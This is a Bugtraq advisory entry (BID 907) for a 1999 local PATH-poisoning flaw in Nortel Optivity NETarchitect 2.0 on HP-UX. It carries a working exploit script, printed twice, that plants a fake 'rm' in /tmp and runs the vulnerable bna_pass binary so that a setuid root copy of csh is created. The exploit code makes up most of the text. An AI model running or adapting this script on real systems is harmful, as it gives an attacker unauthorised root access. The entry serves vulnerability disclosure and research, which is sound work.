Optivity NETarchitect PATH Vulnerability
BID:907
Info
Optivity NETarchitect PATH Vulnerability
| Bugtraq ID: | 907 |
| Class: | Environment Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 30 1999 12:00AM |
| Updated: | Dec 30 1999 12:00AM |
| Credit: | First posted to Bugtraq by Loneguard <[email protected]> on December 30, 1999. |
| Vulnerable: |
Nortel Networks Optivity NETarchitect 2.0 |
| Not Vulnerable: | |
Exploit / POC
Optivity NETarchitect PATH Vulnerability
#!/bin/sh
#
# bna.sh - Loneguard 03/03/99
#
# Poision path xploit for Optivity NETarchitect on HPUX
#
cd /tmp
touch /usr/bna/tmp/.loginChk
PATH=.:$PATH;export PATH
cat > rm << _EOF
#!/bin/sh
cp /bin/csh /tmp/kungfu
chmod 4755 /tmp/kungfu
_EOF
chmod 755 /tmp/rm
/opt/bna/bin/bna_pass
#!/bin/sh
#
# bna.sh - Loneguard 03/03/99
#
# Poision path xploit for Optivity NETarchitect on HPUX
#
cd /tmp
touch /usr/bna/tmp/.loginChk
PATH=.:$PATH;export PATH
cat > rm << _EOF
#!/bin/sh
cp /bin/csh /tmp/kungfu
chmod 4755 /tmp/kungfu
_EOF
chmod 755 /tmp/rm
/opt/bna/bin/bna_pass